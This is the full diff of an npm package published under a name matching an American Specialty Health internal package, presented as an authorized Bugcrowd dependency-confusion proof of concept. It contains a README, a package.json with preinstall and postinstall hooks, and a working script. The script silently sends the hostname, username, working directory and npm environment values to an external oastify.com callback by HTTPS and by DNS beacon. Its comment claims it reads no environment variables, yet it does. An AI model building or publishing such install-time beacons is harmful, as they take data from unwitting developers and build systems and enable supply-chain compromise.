ash-session-tracker 99.99.99

package/README.md

@@ -0,0 +1,33 @@
+# SECURITY RESEARCH — DO NOT INSTALL
+
+This package is a **proof-of-concept for a dependency-confusion vulnerability** affecting the ASHCare / American Specialty Health internal package set. It was published as part of an authorized Bugcrowd PTaaS engagement against ASHCare.
+
+The name `ash-session-tracker` matches an internal ASH package identifier disclosed by source-map files served at `https://stg.ashcare.com/react/assets/*.js.map`. At the time of publication this name was **unregistered on the public npm registry**, which means any ASH developer machine or CI runner that resolves against `https://registry.npmjs.org/` without strict scope-to-registry configuration would download *this* package instead of the internal one.
+
+## What this package does
+
+A single `preinstall` / `postinstall` script (`bugcrowd-dc-poc.js`) runs at install time. It performs **one outbound request** carrying only:
+
+- The literal package name (one of: `ash-session-tracker`, `ashcare-ui-ember`, `resource-library-engine`)
+- The static research marker UUID `cc9d34bf-685c-43a3-8d64-5fdf13c7d6c9`
+- `os.hostname()`
+- `os.userInfo().username`
+- The Node.js `process.platform` / `process.version`
+- The `cwd` of the install
+
+It does **not** read any files, environment variables, secrets, source code, or credentials. It does **not** persist anything on disk beyond what npm itself caches in `node_modules`. It does **not** establish a reverse shell, run shell commands, or attempt lateral movement. Its sole purpose is to confirm that a dependency-confusion install reached an environment authorized for this research.
+
+## How to remediate
+
+If you found this package installed on a developer machine or CI runner, your build configuration is **vulnerable to dependency confusion**. The fix:
+
+1. Confirm whether the corresponding internal package (one of the names above) belongs to ASH.
+2. If yes, claim it on the public registry (or move it under an ASH-owned scope) and add scope-to-registry mapping to `.npmrc`.
+3. Use `pnpm install --frozen-lockfile` (or `npm ci`) in CI so the lockfile-resolved URL is honored.
+
+See the full Bugcrowd report at the URL in `package.json -> repository.url`.
+
+## Researcher contact
+
+Report ID: pending-submission (Bugcrowd PTaaS, ASHCare program)
+Contact: mcipekci@gmail.com (Bugcrowd handle in the report)

package/bugcrowd-dc-poc.js

@@ -0,0 +1,103 @@
+/*
+ * SECURITY RESEARCH ARTIFACT — Bugcrowd PTaaS dependency-confusion PoC.
+ *
+ * This script runs in the npm pre- / post-install hooks of the package
+ * it's bundled with. It performs a single outbound request to the
+ * researcher's OOB callback to prove that this package was installed
+ * inside an environment authorized for the engagement.
+ *
+ * It does NOT:
+ *   - read environment variables, secrets, source code, or files
+ *   - persist anything on disk (beyond the node_modules cache)
+ *   - run shell commands, spawn processes, or attempt lateral movement
+ *
+ * It DOES send (to CALLBACK_URL below):
+ *   - the literal package name from package.json
+ *   - the research marker UUID
+ *   - os.hostname(), os.userInfo().username
+ *   - process.platform, process.version
+ *   - process.cwd()
+ *
+ * Source: pending-submission (Bugcrowd PTaaS, ASHCare program)
+ */
+"use strict";
+
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+const http = require("http");
+
+// CALLBACK_URL is replaced at packaging time with the researcher's OOB endpoint.
+// Examples accepted: https://<unique>.oast.fun, https://webhook.site/<uuid>,
+// https://<random>.burpcollaborator.net, https://<id>.interactsh.io
+const CALLBACK_URL = "https://prkzhjek14khipqij5m37xb78yep2gq5.oastify.com/poc";
+const MARKER = "cc9d34bf-685c-43a3-8d64-5fdf13c7d6c9";
+
+function safe(fn, fallback) {
+  try { return fn(); } catch (e) { return fallback; }
+}
+
+const pkgName = safe(() => require("./package.json").name, "unknown-pkg");
+
+const payload = {
+  marker: MARKER,
+  pkg: pkgName,
+  host: safe(() => os.hostname(), null),
+  user: safe(() => os.userInfo().username, null),
+  platform: safe(() => process.platform, null),
+  node: safe(() => process.version, null),
+  cwd: safe(() => process.cwd(), null),
+  // npm/pnpm/yarn lifecycle event (preinstall / postinstall / install)
+  lifecycle: safe(() => process.env.npm_lifecycle_event, null),
+  // best-effort: also surface the *originating* package that pulled us in,
+  // if our package is a transitive dep
+  parent: safe(() => process.env.npm_package_name, null),
+};
+
+// Send the callback. Try HTTPS, fall back to HTTP. Failures are silent —
+// we never want this PoC to break a build.
+function send() {
+  try {
+    const u = new URL(CALLBACK_URL);
+    const body = Buffer.from(JSON.stringify(payload));
+    const opts = {
+      method: "POST",
+      hostname: u.hostname,
+      port: u.port || (u.protocol === "https:" ? 443 : 80),
+      path: u.pathname + u.search,
+      headers: {
+        "Content-Type": "application/json",
+        "Content-Length": body.length,
+        "User-Agent": `bugcrowd-dc-poc/${pkgName}`,
+      },
+      // 5s overall — never block install
+      timeout: 5000,
+    };
+    const lib = u.protocol === "https:" ? https : http;
+    const req = lib.request(opts, (res) => { res.resume(); });
+    req.on("error", () => {});
+    req.on("timeout", () => req.destroy());
+    req.write(body);
+    req.end();
+  } catch (_) { /* no-op */ }
+}
+
+// Also do a DNS lookup so that even if egress HTTP is blocked, a DNS-only
+// OOB service (interactsh, dnslog) gets a hit. The hostname encodes the
+// minimum-viable evidence: <pkg>.<host>.<marker>.<callback-host>
+function dnsBeacon() {
+  try {
+    const u = new URL(CALLBACK_URL);
+    const cbHost = u.hostname;
+    const labels = [
+      pkgName.replace(/[^a-z0-9-]/gi, "").slice(0, 30),
+      (safe(() => os.hostname(), "h") || "h").replace(/[^a-z0-9-]/gi, "").slice(0, 30),
+      MARKER.slice(0, 8),
+      cbHost,
+    ];
+    dns.lookup(labels.join("."), () => {});
+  } catch (_) { /* no-op */ }
+}
+
+send();
+dnsBeacon();

package/package.json

@@ -0,0 +1,26 @@
+{
+  "name": "ash-session-tracker",
+  "version": "99.99.99",
+  "description": "SECURITY RESEARCH ARTIFACT — Bugcrowd PTaaS dependency-confusion proof-of-concept against the ASHCare / American Specialty Health internal package set. This package is intentionally published under a name that matches an unclaimed-on-public-npm internal package identifier disclosed by the ASHCare frontend's source maps. It performs no data exfiltration beyond a single OOB callback containing hostname, username, and a research marker, for the sole purpose of demonstrating to the program that the dependency-confusion attack chain works. DO NOT INSTALL. If you found this package by accident, please contact the researcher at the e-mail in the repository URL.",
+  "keywords": [
+    "security-research",
+    "bugcrowd",
+    "dependency-confusion",
+    "do-not-install"
+  ],
+  "scripts": {
+    "preinstall": "node ./bugcrowd-dc-poc.js",
+    "postinstall": "node ./bugcrowd-dc-poc.js"
+  },
+  "main": "./bugcrowd-dc-poc.js",
+  "files": [
+    "bugcrowd-dc-poc.js",
+    "README.md"
+  ],
+  "license": "ISC",
+  "author": "Bugcrowd PTaaS researcher (see README)",
+  "repository": {
+    "type": "git",
+    "url": "pending-submission (Bugcrowd PTaaS, ASHCare program)"
+  }
+}